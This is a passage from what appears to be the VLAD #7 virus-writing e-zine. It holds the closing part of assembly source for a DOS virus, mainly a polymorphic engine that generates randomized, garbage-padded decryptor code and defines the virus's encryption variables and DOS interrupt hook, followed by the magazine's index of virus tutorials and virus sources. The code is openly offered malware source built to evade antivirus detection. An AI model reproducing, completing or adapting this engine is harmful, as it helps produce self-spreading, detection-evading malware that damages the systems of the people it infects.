        or      byte ptr setupbyte,8
noap:
        ret
addsub_pointer  endp

addsub_cipher   proc    near
        test    byte ptr setupbyte,40h
        jz      nocp
        test    byte ptr setupbyte,4
        jnz     nocp
        call    makegarbage
        mov     al,81h
        stosb
        mov     al,byte ptr cipherr
        or      al,0c0h
        stosb
        call    randval
        stosw
        add     word ptr ccipher,ax
        or      byte ptr setupbyte,4
nocp:
        ret
addsub_cipher   endp

addsub_virus    proc    near
        test    byte ptr setupbyte,20h
        jz      noav
        test    byte ptr setupbyte,2
        jnz     noav
        call    makegarbage
        mov     al,81h
        stosb
        mov     al,byte ptr virusr
        or      al,0c0h
        stosb
        mov     word ptr vpos,di
        mov     ax,word ptr virusval
        sub     ax,word ptr cvirus
        dec     ax                      ;coz we are xoring by words
        stosw
        add     word ptr cvirus,ax
        or      byte ptr setupbyte,2
noav:
        ret
addsub_virus    endp


setup_pointer   proc    near
;80h
        test    byte ptr setupbyte,80h
        jnz     nomp
        call    makegarbage
        mov     al,byte ptr pointr
        or      al,0b8h
        stosb
        call    randval
        stosw
        mov     word ptr cpoint,ax
        or      byte ptr setupbyte,80h
nomp:
        ret
setup_pointer   endp

setup_cipher    proc    near
;40h
        test    byte ptr setupbyte,40h
        jnz     nomc
        call    makegarbage
        mov     al,byte ptr cipherr
        or      al,0b8h
        stosb
        call    randval
        stosw
        mov     word ptr ccipher,ax
        or      byte ptr setupbyte,40h
nomc:
        ret
setup_cipher    endp

setup_virus     proc    near
;20h
        test    byte ptr setupbyte,20h
        jnz     nomv
        call    makegarbage
        mov     al,byte ptr virusr
        or      al,0b8h
        stosb
        call    randval
        stosw
        mov     word ptr cvirus,ax
        or      byte ptr setupbyte,20h
nomv:
        ret
setup_virus     endp

genrand proc    near
;ax=number of possibilities
;return ax = 0 to origax - 1
        push    cx
        push    dx
        sub     dx,dx
        mov     cx,ax
        call    randval
        div     cx
        mov     ax,dx
        pop     dx
        pop     cx
        ret

genrand endp

randval proc    near
;returns ax=random number, not 0/ffff
randstart:
        in      al,40h
        mov     ah,al
        in      al,40h
        or      ax,ax
        jz      randstart
        cmp     ax,-1
        je      randstart
        ret
randval endp
spoly   endp


simint21        proc    near
        pushf
        call    dword ptr cs:o21
        ret
simint21        endp

comstart        db      0e9h,0,0

header  db      1ch dup (0)

vsizer:
        db      200 dup (0)
;-- for the poly engine --
inloop  db      0               ;whether or not to use ints (slow in the loop)

encstart        dw      0       ;where to start encrypting from

pointr  db      0               ;the register used
pointrm db      0               ;the r/m for the pointer
cpoint  dw      0               ;the current value of the pointer

addval  dw      0               ;the value added between each iteration

ppos    dw      0               ;where the pointer update is
vpos    dw      0               ;where the size update is

cipherr db      0               ;the register used
ccipher dw      0               ;the current value of the cipher

virusr  db      0               ;the register used
cvirus  dw      0               ;the current value of the virus-size

deltaval        dw      0       ;the delta offset for it
virusval        dw      0       ;the size of the virus

virusput        dw      0       ;initial di
virusget        dw      0       ;initial si

;                      AXCXDXBXSPBPSIDI
regtable        db      1,0,0,0,1,0,0,0

;80h = mp  40h = mc  20h = mv  8 = ap  4 = ac  2 = av
setupbyte       db      0
;-- for the poly engine --        
encplace:
        dupsize equ     offset vsizer +90 - offset code
        db      dupsize dup (0)
msizer:

Virus   ends
end     code
- VLAD #7 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

No Flags
ARTICLE.2_2       Goodbye Virus
ARTICLE.2_3       Boot Sector Tutorial
ARTICLE.2_4       STAOG Linux Virus
ARTICLE.2_5       Pow Boot Virus
ARTICLE.2_6       Wulf2
ARTICLE.2_7       Tbscan Internals

ARTICLE.3_1      

VLAD Viruses
ARTICLE.3_2       TVIR600
ARTICLE.3_3       Vecna Boot Virus
ARTICLE.3_4       Padania Virus
ARTICLE.3_5       HooDoo Virus
ARTICLE.3_6       Pandemonium Virus
ARTICLE.3_7       Black Lotus

ARTICLE.4_1      

Zip Virus
ARTICLE.4_2       Archive Infect
ARTICLE.4_3       Virstop Article
ARTICLE.4_4       Boza Makes Bontchev Barf Virus
ARTICLE.4_5       Killer Virus
ARTICLE.4_6       Muraroa End
ARTICLE.4_7       Mages Fury

About VLAD - Links - Contact Us - Main